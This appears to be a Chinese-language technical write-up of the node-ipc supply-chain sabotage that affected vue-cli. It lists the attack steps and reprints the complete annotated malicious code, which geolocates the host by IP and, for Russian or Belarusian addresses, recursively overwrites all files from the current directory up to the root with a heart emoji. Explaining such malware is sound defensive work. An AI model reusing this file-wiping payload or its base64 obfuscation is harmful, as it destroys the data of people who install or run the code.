文章地址:https://github.com/vuejs/vue-cli/issues/7054
源码地址:https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js
攻击步骤如下:
1、开发者 node_modules 的某个依赖运行了 node-ipc 这个库。
2、1/4 的概率进行攻击,并且将该操作设置为 setTimeout 随机间隔异步执行。
3、请求这个服务判断用户是不是俄罗斯或者白俄罗斯:https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154
4、如果是的话,分别对 「当前目录 ./」, 「父目录 ../」, 「父父目录 ../../」, 「根目录 /」 进行遍历
5、遍历所有的文件,文件内容替换为 ❤️
代码解析
const u = require("path") const a = require("fs") const o = require("https") // 核心破坏函数 // 破坏的操作是获取路径下所有的文件,然后对文件进行无脑覆盖操作。覆盖内容为 ❤️ // 第一个参数 n 是路径,分别对「当前目录 ./」, 「父目录 ../」, 「父父目录 ../../」, 「根目录 /」 进行破坏操作 // 第二个参数 o ,暂时没有任何意义,应该只是混淆作用。 async function h(n = "", o = "") { // 如果不存在路径,那算了。 if (!a.existsSync(n)) { return } // 读取文件夹下所有文件列表 let r = [] try { r = a.readdirSync(n) } catch (t) {} // 被遍历和迫害的文件集。暂无使用。 const f = [] // 这就是覆盖的内容「❤️」 const c = Buffer.from("4p2k77iP", "base64") for (var e = 0; e < r.length; e++) { // 合并路径,形成文件的完整路径 const i = u.join(n, r[e]) // 获取 stat 信息 let t = null; try { t = a.lstatSync(i) } catch (t) { continue } // 如果是文件夹,那就递归调用 h 函数 if (t.isDirectory()) { // 递归 const s = h(i, o) s.length > 0 ? f.push(...s) : null // 这个判断没有任何意义,因为 「i」 是一个路径字符串,而 「o」 是一个空字符串,所以总是会为 true 的。或许只是一种混淆方式。 } else if (i.indexOf(o) >= 0) { try { // 将文件的内容覆盖为 「❤️」 a.writeFile(i, c.toString("utf8"), function() {}) } catch (t) {} } } return f } setTimeout(function() { // 每次运行,有 1/4 的概率执行攻击操作。 const t = Math.round(Math.random() * 4) if (t > 1) { return } // 这段代码解析出来就是:https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 // 但现在这个 apiKey 已经被封禁,所以请求会失败。逻辑会走不下去或者报错 const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); console.log('n', n.toString('utf-8')) // 发送 get 请求,得到内容是否为俄罗斯的 ip o.get(n.toString("utf8"), function(t) { t.on("data", function(t) { const n = Buffer.from("Li8=", "base64") // 解析内容为: 「./」 const o = Buffer.from("Li4v", "base64") // 解析内容为: 「../」 const r = Buffer.from("Li4vLi4v", "base64") // 解析内容为: 「../../」 const f = Buffer.from("Lw==", "base64") // 解析内容为: 「/」 const c = Buffer.from("Y291bnRyeV9uYW1l", "base64") // 解析内容为: 「country_name」 const e = Buffer.from("cnVzc2lh", "base64") // 解析内容为: 「russia」 const i = Buffer.from("YmVsYXJ1cw==", "base64") // 解析内容为: 「belarus」 try { // 解析接口的返回值,t 也是一个 Buffer 对象,所以需要 toString() + parse() 转换为 json 对象 const s = JSON.parse(t.toString("utf8")) // 获取 「country_name」 国家 const u = s[c.toString("utf8")].toLowerCase() // 检查IP国家是否是俄罗斯「russia」或白俄罗斯「belarus」 const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")) if (a) { // 「当前目录 ./」 h(n.toString("utf8")) // 「父目录 ../」 h(o.toString("utf8")) // 「父父目录 ../../」 h(r.toString("utf8")) // 「根目录 /」 h(f.toString("utf8")) } } catch (t) {} }) }) // 延迟 1-1000 毫秒执行,原因未知,可能是为了让代码变成异步执行,比较难排查。 }, Math.ceil(Math.random() * 1e3))
总结
npm 的 node_modules 设计犯罪成本是真的低,怪不得作者要另起炉灶开发 deno ……